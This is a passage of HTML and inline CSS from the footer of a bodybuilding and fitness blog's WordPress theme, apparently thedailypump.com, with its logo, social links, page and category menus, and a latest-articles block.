767px) 3042{ 3043.tdi_51{ 3044justify-content:center !important; 3045text-align:center !important; 3046} 3047} 3048 3049/* landscape */ 3050@media (min-width: 1019px) and (max-width: 1140px) 3051{ 3052.tdi_51{ 3053margin-left:-5px !important; 3054} 3055} 3056 3057</style> 3058<style> 3059/* custom css */ 3060.tdi_51{ 3061 display: inline-block; 3062 }.tdi_51 .tdb-logo-a, 3063 .tdi_51 h1{ 3064 align-items: flex-start; 3065 3066 justify-content: flex-start; 3067 }.tdi_51 .tdb-logo-svg-wrap{ 3068 display: block; 3069 }.tdi_51 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{ 3070 display: none; 3071 }.tdi_51 .tdb-logo-text-tagline{ 3072 margin-top: 0;
3073 margin-left: 8px; 3074 3075 display: none; 3076 3077 color: #333333; 3078 3079 font-family:Noto Sans !important;font-size:26px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 3080 }.tdi_51 .tdb-logo-text-title{ 3081 display: none; 3082 3083 color: #333333; 3084 3085 font-family:Bree Serif !important;font-size:30px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 3086 }.tdi_51 .tdb-logo-text-wrap{ 3087 flex-direction: row; 3088 align-items: baseline; 3089 }.tdi_51 .tdb-logo-icon-svg svg{ 3090 width: 22px; 3091 }.tdi_51 .tdb-logo-icon{ 3092 margin-right: 10px; 3093 3094 top: 5px; 3095 3096 display: block; 3097 3098 color: #333333; 3099 }.tdi_51 .tdb-logo-icon:last-child{ 3100 margin-right: 0; 3101 }.tdi_51 .tdb-logo-icon-svg svg, 3102 .tdi_51 .tdb-logo-icon-svg svg *{ 3103 fill: #333333; 3104 } 3105 3106/* landscape */ 3107@media (min-width: 1019px) and (max-width: 1140px){ 3108.tdi_51 .tdb-logo-img{ 3109 max-width: 100px; 3110 } 3111} 3112 3113/* portrait */ 3114@media (min-width: 768px) and (max-width: 1018px){ 3115.tdi_51 .tdb-logo-img{ 3116 max-width: 80px; 3117 }.tdi_51 .tdb-logo-img-wrap{ 3118 margin-top: 0px; 3119 3120 margin-bottom: 0px; 3121 3122 margin-right: 5px; 3123 3124 margin-left: 0px; 3125 }.tdi_51 .tdb-logo-img-wrap:first-child{ 3126 margin-top: 0; 3127 3128 margin-left: 0; 3129 }.tdi_51 .tdb-logo-img-wrap:last-child{ 3130 margin-bottom: 0; 3131 3132 margin-right: 0; 3133 }.tdi_51 .tdb-logo-text-tagline{ 3134 margin-top: 0; 3135 margin-left: 5px; 3136 3137 font-family:Noto Sans !important;font-size:22px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;; 3138 }.tdi_51 .tdb-logo-text-title{ 3139 font-family:Bree Serif !important;font-size:24px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;; 3140 } 3141} 3142 3143/* phone */ 3144@media (max-width: 767px){ 3145.tdi_51 .tdb-logo-img-wrap{ 3146 margin-top: 0px; 3147 3148 margin-bottom: 0px; 3149 3150 margin-right: 5px; 3151 3152 margin-left: 0px; 3153 }.tdi_51 .tdb-logo-img-wrap:first-child{ 3154 margin-top: 0; 3155 3156 margin-left: 0; 3157 }.tdi_51 .tdb-logo-img-wrap:last-child{ 3158 margin-bottom: 0; 3159 3160 margin-right: 0; 3161 } 3162} 3163</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://thedailypump.com/"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img" src="https://thedailypump.com/wp-content/uploads/2020/05/thedailypumplogo-02.png" alt="Logo" title="" width="2196" height="714" /></span><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">fitness</span><span class="tdb-logo-text-tagline">blog</span></span></a></div></div> <!-- ./block --><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_52 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_52" > 3164<style> 3165 3166/* inline tdc_css att */ 3167 3168.tdi_52{ 3169margin-bottom:20px !important; 3170} 3171 3172/* portrait */ 3173@media (min-width: 768px) and (max-width: 1018px) 3174{ 3175.tdi_52{ 3176margin-bottom:15px !important; 3177} 3178} 3179 3180</style> 3181<style> 3182/* custom css */ 3183.tdm_block.tdm_block_inline_text{ 3184 margin-bottom: 0; 3185 vertical-align: top; 3186 }.tdm_block.tdm_block_inline_text .tdm-descr{ 3187 margin-bottom: 0; 3188 -webkit-transform: translateZ(0); 3189 transform: translateZ(0); 3190 }.tdc-row-content-vert-center .tdm-inline-text-yes{ 3191 vertical-align: middle; 3192 }.tdc-row-content-vert-bottom .tdm-inline-text-yes{ 3193 vertical-align: bottom; 3194 }.tdi_52{ 3195 text-align: left !important; 3196 }.tdi_52 .tdm-descr{ 3197 color: #333333; 3198 3199 font-family:Noto Sans !important;font-size:13px !important;line-height:1.5 !important; 3200 } 3201 3202/* portrait */ 3203@media (min-width: 768px) and (max-width: 1018px){ 3204.tdi_52 .tdm-descr{ 3205 font-family:Noto Sans !important;font-size:12px !important;line-height:1.5 !important; 3206 } 3207} 3208</style><p class="tdm-descr">TheDailiyPump.com brings you tips to get the best results from your bodybuilding workouts.</p></div><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_53 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_53" > 3209<style> 3210 3211/* inline tdc_css att */ 3212 3213.tdi_53{ 3214margin-bottom:35px !important; 3215} 3216 3217/* portrait */ 3218@media (min-width: 768px) and (max-width: 1018px) 3219{ 3220.tdi_53{ 3221margin-bottom:25px !important; 3222} 3223} 3224 3225/* phone */ 3226@media (max-width: 767px) 3227{ 3228.tdi_53{ 3229margin-bottom:30px !important; 3230} 3231} 3232 3233</style> 3234<style> 3235/* custom css */ 3236.tdi_53{ 3237 text-align: left !important; 3238 }.tdi_53 .tdm-descr{ 3239 color: #333333; 3240 3241 font-family:Noto Sans !important;font-size:13px !important;line-height:1.5 !important; 3242 } 3243 3244/* portrait */ 3245@media (min-width: 768px) and (max-width: 1018px){ 3246.tdi_53 .tdm-descr{ 3247 font-family:Noto Sans !important;font-size:12px !important;line-height:1.5 !important; 3248 } 3249} 3250</style><p class="tdm-descr">© TheDailyPump.com | All rights reserved</p></div><div class="tdm_block td_block_wrap tdm_block_socials tdi_54 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_54" > 3251<style> 3252/* custom css */ 3253.tdm_block.tdm_block_socials{ 3254 margin-bottom: 0; 3255 }.tdm-social-wrapper{ 3256 *zoom: 1; 3257 }.tdm-social-wrapper:before, 3258 .tdm-social-wrapper:after{ 3259 display: table; 3260 content: ''; 3261 line-height: 0; 3262 }.tdm-social-wrapper:after{ 3263 clear: both; 3264 }.tdm-social-item-wrap{ 3265 display: inline-block; 3266 }.tdm-social-item{ 3267 position: relative; 3268 display: inline-block; 3269 vertical-align: middle; 3270 -webkit-transition: all 0.2s; 3271 transition: all 0.2s; 3272 text-align: center; 3273 -webkit-transform: translateZ(0); 3274 transform: translateZ(0); 3275 }.tdm-social-item i{ 3276 font-size: 14px; 3277 color: #4db2ec; 3278 -webkit-transition: all 0.2s; 3279 transition: all 0.2s; 3280 }.tdm-social-text{ 3281 display: none;
3282 margin-top: -1px; 3283 vertical-align: middle; 3284 font-size: 13px; 3285 color: #4db2ec; 3286 -webkit-transition: all 0.2s; 3287 transition: all 0.2s; 3288 }.tdm-social-item-wrap:hover i, 3289 .tdm-social-item-wrap:hover .tdm-social-text{ 3290 color: #000; 3291 }.tdm-social-item-wrap:last-child .tdm-social-text{ 3292 margin-right: 0 !important; 3293 } 3294</style> 3295<style> 3296.tdi_55 .tdm-social-item i{ 3297 font-size: 18px; 3298 vertical-align: middle; 3299 3300 line-height: 45px; 3301 }.tdi_55 .tdm-social-item i.td-icon-twitter, 3302 .tdi_55 .tdm-social-item i.td-icon-linkedin, 3303 .tdi_55 .tdm-social-item i.td-icon-pinterest, 3304 .tdi_55 .tdm-social-item i.td-icon-blogger, 3305 .tdi_55 .tdm-social-item i.td-icon-vimeo{ 3306 font-size: 14.4px; 3307 }.tdi_55 .tdm-social-item{ 3308 width: 45px; 3309 height: 45px; 3310 3311 margin: 7px 14px 7px 0; 3312 3313 background: #ffffff; 3314 3315 border-radius: 50px; 3316 3317 box-shadow: 0px 5px 20px 0px rgba(0,0,0,0.16); 3318 }.tdi_55 .tdm-social-item-wrap:last-child .tdm-social-item{ 3319 margin-right: 0 !important; 3320 }.tdi_55 .tdm-social-item i, 3321 .tds-team-member2 .tdi_55.tds-social5 .tdm-social-item i{ 3322 color: #333333; 3323 }.tdi_55 .tdm-social-item-wrap:hover i, 3324 .tds-team-member2 .tdi_55.tds-social5 .tdm-social-item-wrap:hover i{ 3325 color: #333333; 3326 }.tdi_55 .tdm-social-item-wrap:hover .tdm-social-item{ 3327 background: #ffffff; 3328 3329 box-shadow: 0px 2px 10px 0px rgba(0,0,0,0.1); 3330 }.tdi_55 .tdm-social-text{ 3331 display: none; 3332 3333 margin-left: 2px; 3334 3335 margin-right: 18px; 3336 } 3337 3338/* landscape */ 3339@media (min-width: 1019px) and (max-width: 1140px){ 3340 3341} 3342 3343/* portrait */ 3344@media (min-width: 768px) and (max-width: 1018px){ 3345.tdi_55 .tdm-social-item i{ 3346 font-size: 16px; 3347 vertical-align: middle; 3348 3349 line-height: 40px; 3350 }.tdi_55 .tdm-social-item i.td-icon-twitter, 3351 .tdi_55 .tdm-social-item i.td-icon-linkedin, 3352 .tdi_55 .tdm-social-item i.td-icon-pinterest, 3353 .tdi_55 .tdm-social-item i.td-icon-blogger, 3354 .tdi_55 .tdm-social-item i.td-icon-vimeo{ 3355 font-size: 12.8px; 3356 }.tdi_55 .tdm-social-item{ 3357 width: 40px; 3358 height: 40px; 3359 3360 margin: 4px 8px 4px 0; 3361 } 3362} 3363 3364/* phone */ 3365@media (max-width: 767px){ 3366 3367} 3368</style><div class="tdm-social-wrapper tds-social5 tdi_55"><div class="tdm-social-item-wrap"><a href="https://www.facebook.com/ThatPump" title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i></a><a href="https://www.facebook.com/ThatPump" class="tdm-social-text">Facebook</a></div><div class="tdm-social-item-wrap"><a href="https://www.instagram.com/daily.pumps/" title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i></a><a href="https://www.instagram.com/daily.pumps/" class="tdm-social-text">Instagram</a></div><div class="tdm-social-item-wrap"><a href="https://twitter.com/thedailypump" title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i></a><a href="https://twitter.com/thedailypump" class="tdm-social-text">Twitter</a></div><div class="tdm-social-item-wrap"><a href="https://www.youtube.com/channel/UCvbak2fWlKEC1WNhvarysHg" title="Youtube" class="tdm-social-item"><i class="td-icon-font td-icon-youtube"></i></a><a href="https://www.youtube.com/channel/UCvbak2fWlKEC1WNhvarysHg" class="tdm-social-text">Youtube</a></div></div></div></div></div><div class="vc_column tdi_57 wpb_column vc_column_container tdc-column td-pb-span3"> 3369<style scoped> 3370 3371/* custom css */ 3372.tdi_57{ 3373 vertical-align: baseline; 3374 }.tdi_57 > .wpb_wrapper, 3375 .tdi_57 > .wpb_wrapper > .tdc-elements{ 3376 display: block; 3377 }.tdi_57 > .wpb_wrapper > .tdc-elements{ 3378 width: 100%; 3379 }.tdi_57 > .wpb_wrapper > .vc_row_inner{ 3380 width: auto; 3381 }.tdi_57 > .wpb_wrapper{ 3382 width: auto; 3383 height: auto; 3384 } 3385/* inline tdc_css att */ 3386 3387.tdi_57{ 3388width:20% !important; 3389} 3390 3391/* phone */ 3392@media (max-width: 767px) 3393{ 3394.tdi_57{ 3395margin-bottom:40px !important; 3396width:100% !important; 3397} 3398} 3399 3400/* portrait */ 3401@media (min-width: 768px) and (max-width: 1018px) 3402{ 3403.tdi_57{ 3404width:18% !important; 3405} 3406} 3407 3408</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_58 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_58" > 3409<style> 3410 3411/* inline tdc_css att */ 3412 3413.tdi_58{ 3414margin-top:-10px !important; 3415margin-bottom:5px !important; 3416margin-left:-5px !important; 3417} 3418 3419/* phone */ 3420@media (max-width: 767px) 3421{ 3422.tdi_58{ 3423margin-left:0px !important; 3424} 3425} 3426 3427</style> 3428<style> 3429/* custom css */ 3430.tdm_block_column_title{ 3431 margin-bottom: 0; 3432 display: inline-block; 3433 width: 100%; 3434 } 3435</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> 3436<style> 3437body .tdi_59 .tdm-title{ 3438 color: #22b573; 3439 }body .tdi_58:hover .tdi_59 .tdm-title{ 3440 color: #333333; 3441 3442 -webkit-text-fill-color: unset; 3443 background: transparent; 3444 transition: none; 3445 }.tdi_58:hover .tdi_59 .tdm-title{ 3446 cursor: default; 3447 }.tdi_59 .tdm-title{ 3448 font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important; 3449 } 3450 3451/* portrait */ 3452@media (min-width: 768px) and (max-width: 1018px){ 3453.tdi_59 .tdm-title{ 3454 font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important; 3455 } 3456} 3457</style><div class="tds-title tds-title1 td-fix-index tdi_59"><h2 class="tdm-title tdm-title-sm">Pages</h2></div></div></div></div><div class="td_block_wrap td_block_list_menu tdi_60 td-pb-border-top td_block_template_1 widget" data-td-block-uid="tdi_60" > 3458<style> 3459 3460/* inline tdc_css att */ 3461 3462.tdi_60{ 3463margin-bottom:0px !important; 3464} 3465 3466</style> 3467<style> 3468/* custom css */ 3469.td_block_list_menu ul{ 3470 flex-wrap: wrap; 3471 margin-left: 12px; 3472 }.td_block_list_menu ul li{ 3473 margin-left: 0; 3474 }.td_block_list_menu .sub-menu{ 3475 padding-left: 22px; 3476 }.td_block_list_menu .sub-menu li{ 3477 font-size: 13px; 3478 }.td_block_list_menu li.current-menu-item > a, 3479 .td_block_list_menu li.current-menu-ancestor > a, 3480 .td_block_list_menu li.current-category-ancestor > a{ 3481 color: #4db2ec; 3482 }.tdi_60 ul{ 3483 margin: 0px; 3484 3485 text-align: left; 3486 justify-content: flex-start; 3487 }.tdi_60 a{ 3488 color: #333333; 3489 }body .tdi_60 li.current-menu-item > a, 3490 body .tdi_60 li.current-menu-ancestor > a, 3491 body .tdi_60 li.current-category-ancestor > a, 3492 body .tdi_60 a:hover{ 3493 color: #e2b26f; 3494 }.tdi_60 li{ 3495 font-family:Noto Sans !important;font-size:13px !important;line-height:2.35 !important; 3496 } 3497 3498/* portrait */ 3499@media (min-width: 768px) and (max-width: 1018px){ 3500.tdi_60 li{ 3501 font-family:Noto Sans !important;font-size:12px !important;line-height:2.35 !important; 3502 } 3503} 3504</style><div class="td-block-title-wrap"></div><div id=tdi_60 class="td_block_inner td-fix-index"><div class="menu-footer-pages-container"><ul id="menu-footer-pages" class="menu"><li id="menu-item-1278" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-1278"><a href="/">Home</a></li> 3505<li id="menu-item-1277" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1277">
3505<a href="https://thedailypump.com/about/">About</a></li> 3506<li id="menu-item-1276" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1266 current_page_item menu-item-1276"><a href="https://thedailypump.com/contact/" aria-current="page">Contact</a></li> 3507</ul></div></div></div></div></div><div class="vc_column tdi_62 wpb_column vc_column_container tdc-column td-pb-span3"> 3508<style scoped> 3509 3510/* custom css */ 3511.tdi_62{ 3512 vertical-align: baseline; 3513 }.tdi_62 > .wpb_wrapper, 3514 .tdi_62 > .wpb_wrapper > .tdc-elements{ 3515 display: block; 3516 }.tdi_62 > .wpb_wrapper > .tdc-elements{ 3517 width: 100%; 3518 }.tdi_62 > .wpb_wrapper > .vc_row_inner{ 3519 width: auto; 3520 }.tdi_62 > .wpb_wrapper{ 3521 width: auto; 3522 height: auto; 3523 } 3524/* inline tdc_css att */ 3525 3526.tdi_62{ 3527width:20% !important; 3528} 3529 3530/* phone */ 3531@media (max-width: 767px) 3532{ 3533.tdi_62{ 3534margin-bottom:40px !important; 3535width:100% !important; 3536} 3537} 3538 3539/* portrait */ 3540@media (min-width: 768px) and (max-width: 1018px) 3541{ 3542.tdi_62{ 3543width:18% !important; 3544} 3545} 3546 3547</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_63 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_63" > 3548<style> 3549 3550/* inline tdc_css att */ 3551 3552.tdi_63{ 3553margin-top:-10px !important; 3554margin-left:-5px !important; 3555} 3556 3557/* phone */ 3558@media (max-width: 767px) 3559{ 3560.tdi_63{ 3561margin-left:0px !important; 3562} 3563} 3564 3565</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> 3566<style> 3567body .tdi_64 .tdm-title{ 3568 color: #22b573; 3569 }body .tdi_63:hover .tdi_64 .tdm-title{ 3570 color: #333333; 3571 3572 -webkit-text-fill-color: unset; 3573 background: transparent; 3574 transition: none; 3575 }.tdi_63:hover .tdi_64 .tdm-title{ 3576 cursor: default; 3577 }.tdi_64 .tdm-title{ 3578 font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important; 3579 } 3580 3581/* portrait */ 3582@media (min-width: 768px) and (max-width: 1018px){ 3583.tdi_64 .tdm-title{ 3584 font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important; 3585 } 3586} 3587</style><div class="tds-title tds-title1 td-fix-index tdi_64"><h2 class="tdm-title tdm-title-sm">Categories</h2></div></div></div></div><div class="td_block_wrap td_block_list_menu tdi_65 td-pb-border-top td_block_template_1 widget" data-td-block-uid="tdi_65" > 3588<style> 3589 3590/* inline tdc_css att */ 3591 3592.tdi_65{ 3593margin-bottom:0px !important; 3594} 3595 3596</style> 3597<style> 3598/* custom css */ 3599.tdi_65 ul{ 3600 margin: 0px; 3601 3602 text-align: left; 3603 justify-content: flex-start; 3604 }.tdi_65 a{ 3605 color: #333333; 3606 }body .tdi_65 li.current-menu-item > a, 3607 body .tdi_65 li.current-menu-ancestor > a, 3608 body .tdi_65 li.current-category-ancestor > a, 3609 body .tdi_65 a:hover{ 3610 color: #e2b26f; 3611 }.tdi_65 li{ 3612 font-family:Noto Sans !important;font-size:13px !important;line-height:2.35 !important; 3613 } 3614 3615/* portrait */ 3616@media (min-width: 768px) and (max-width: 1018px){ 3617.tdi_65 li{ 3618 font-family:Noto Sans !important;font-size:12px !important;line-height:2.35 !important; 3619 } 3620} 3621</style><div class="td-block-title-wrap"></div><div id=tdi_65 class="td_block_inner td-fix-index"><div class="menu-footer-categories-container"><ul id="menu-footer-categories" class="menu"><li id="menu-item-1279" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1279"><a href="https://thedailypump.com/category/events/">Events</a></li> 3622<li id="menu-item-1281" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1281"><a href="https://thedailypump.com/category/fitness/">Fitness</a></li> 3623<li id="menu-item-1283" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1283"><a href="https://thedailypump.com/category/nutrition-and-supplements/">Nutrition and Supplements</a></li> 3624<li id="menu-item-1285" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1285"><a href="https://thedailypump.com/category/product-reviews/">Product Reviews</a></li> 3625<li id="menu-item-1286" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1286">
3625<a href="https://thedailypump.com/category/videos/">Videos</a></li> 3626<li id="menu-item-1287" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1287"><a href="https://thedailypump.com/category/weight-loss/">Weight Loss</a></li> 3627</ul></div></div></div></div></div><div class="vc_column tdi_67 wpb_column vc_column_container tdc-column td-pb-span3"> 3628<style scoped> 3629 3630/* custom css */ 3631.tdi_67{ 3632 vertical-align: baseline; 3633 }.tdi_67 > .wpb_wrapper, 3634 .tdi_67 > .wpb_wrapper > .tdc-elements{ 3635 display: block; 3636 }.tdi_67 > .wpb_wrapper > .tdc-elements{ 3637 width: 100%; 3638 }.tdi_67 > .wpb_wrapper > .vc_row_inner{ 3639 width: auto; 3640 }.tdi_67 > .wpb_wrapper{ 3641 width: auto; 3642 height: auto; 3643 } 3644/* inline tdc_css att */ 3645 3646.tdi_67{ 3647width:26% !important; 3648} 3649 3650/* phone */ 3651@media (max-width: 767px) 3652{ 3653.tdi_67{ 3654width:100% !important; 3655} 3656} 3657 3658/* portrait */ 3659@media (min-width: 768px) and (max-width: 1018px) 3660{ 3661.tdi_67{ 3662width:30% !important; 3663} 3664} 3665 3666/* landscape */ 3667@media (min-width: 1019px) and (max-width: 1140px) 3668{ 3669.tdi_67{ 3670width:30% !important; 3671} 3672} 3673 3674</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_68 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_68" > 3675<style> 3676 3677/* inline tdc_css att */ 3678 3679.tdi_68{ 3680margin-top:-10px !important; 3681margin-bottom:10px !important; 3682margin-left:-5px !important; 3683} 3684 3685/* phone */ 3686@media (max-width: 767px) 3687{ 3688.tdi_68{ 3689margin-left:0px !important; 3690} 3691} 3692 3693</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> 3694<style> 3695body .tdi_69 .tdm-title{ 3696 color: #22b573; 3697 }body .tdi_68:hover .tdi_69 .tdm-title{ 3698 color: #333333; 3699 3700 -webkit-text-fill-color: unset; 3701 background: transparent; 3702 transition: none; 3703 }.tdi_68:hover .tdi_69 .tdm-title{ 3704 cursor: default; 3705 }.tdi_69 .tdm-title{ 3706 font-family:Bree Serif !important;font-size:18px !important;text-transform:uppercase !important; 3707 } 3708 3709/* portrait */ 3710@media (min-width: 768px) and (max-width: 1018px){ 3711.tdi_69 .tdm-title{ 3712 font-family:Bree Serif !important;font-size:15px !important;text-transform:uppercase !important; 3713 } 3714} 3715</style><div class="tds-title tds-title1 td-fix-index tdi_69"><h2 class="tdm-title tdm-title-sm">Latest articles</h2></div></div></div></div><div class="td_block_wrap td_flex_block_1 tdi_70 td-pb-border-top td-flex-footer td_block_template_1 td_ajax_preloading_preload td_flex_block" data-td-block-uid="tdi_70" > 3716<style> 3717 3718/* inline tdc_css att */ 3719 3720.tdi_70{ 3721margin-bottom:0px !important; 3722} 3723 3724</style> 3725<style> 3726/* custom css */ 3727.tdi_70 .td-image-wrap{ 3728 padding-bottom: 64%; 3729 }.tdi_70 .entry-thumb{ 3730 background-position: center 40%; 3731 }.tdi_70 .td-image-container{ 3732 flex: 0 0 22%; 3733 width: 22%; 3734 3735 display: block; order: 0; 3736 }.ie10 .tdi_70 .td-image-container, 3737 .ie11 .tdi_70 .td-image-container{ 3738 flex: 0 0 auto; 3739 }.tdi_70 .td-module-container{ 3740 flex-direction: row; 3741 3742 border-color: #eaeaea !important; 3743 }.ie10 .tdi_70 .td-module-meta-info, 3744 .ie11 .tdi_70 .td-module-meta-info{ 3745 flex: 1; 3746 }.tdi_70 .td-module-meta-info{ 3747 padding: 0 0 0 20px; 3748 3749 display: flex; 3750 flex-direction: column; 3751 justify-content: center; 3752 3753 border-color: #eaeaea; 3754 }.tdi_70 .td-category-pos-above .td-post-category{ 3755 align-self: flex-start; 3756 }.tdi_70 .td_module_wrap{ 3757 padding-left: 0px; 3758 padding-right: 0px; 3759 3760 padding-bottom: 11px; 3761 margin-bottom: 11px; 3762 }.tdi_70 .td_block_inner{ 3763 margin-left: -0px; 3764 margin-right: -0px; 3765 }.tdi_70 .td-module-container:before{ 3766 bottom: -11px; 3767 3768 border-color: #eaeaea; 3769 }.tdi_70 .entry-thumb, 3770 .tdi_70 .entry-thumb:before, 3771 .tdi_70 .entry-thumb:after{ 3772 border-radius: 6px; 3773 }.tdi_70 .td-post-vid-time{ 3774 display: block; 3775 }.tdi_70 .td-post-category{ 3776 margin: 5px; 3777 3778 padding: 3px 15px 2px 15px; 3779 }.tdi_70 .td-post-category:not(.td-post-extra-category){ 3780 display: none; 3781 }.tdi_70 .td-author-photo .avatar{
3782 width: 20px; 3783 height: 20px; 3784 3785 margin-right: 6px; 3786 3787 border-radius: 50%; 3788 }.tdi_70 .td-excerpt{ 3789 display: none; 3790 3791 column-count: 1; 3792 3793 column-gap: 48px; 3794 }.tdi_70 .td-audio-player{ 3795 opacity: 1; 3796 visibility: visible; 3797 height: auto; 3798 3799 font-size: 13px; 3800 }.tdi_70 .td-read-more{ 3801 display: none; 3802 }.tdi_70 .td-author-date{ 3803 display: inline; 3804 }.tdi_70 .td-post-author-name{ 3805 display: none; 3806 }.tdi_70 .td-post-date, 3807 .tdi_70 .td-post-author-name span{ 3808 display: none; 3809 }.tdi_70 .entry-review-stars{ 3810 display: inline-block; 3811 }.tdi_70 .td-icon-star, 3812 .tdi_70 .td-icon-star-empty, 3813 .tdi_70 .td-icon-star-half{ 3814 font-size: 15px; 3815 }.tdi_70 .td-module-comments{ 3816 display: none; 3817 }.tdi_70 .td_module_wrap:nth-last-child(1){ 3818 margin-bottom: 0; 3819 padding-bottom: 0; 3820 }.tdi_70 .td_module_wrap:nth-last-child(1) .td-module-container:before{ 3821 display: none; 3822 }.tdi_70 .td-module-title a{ 3823 color: #333333; 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Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.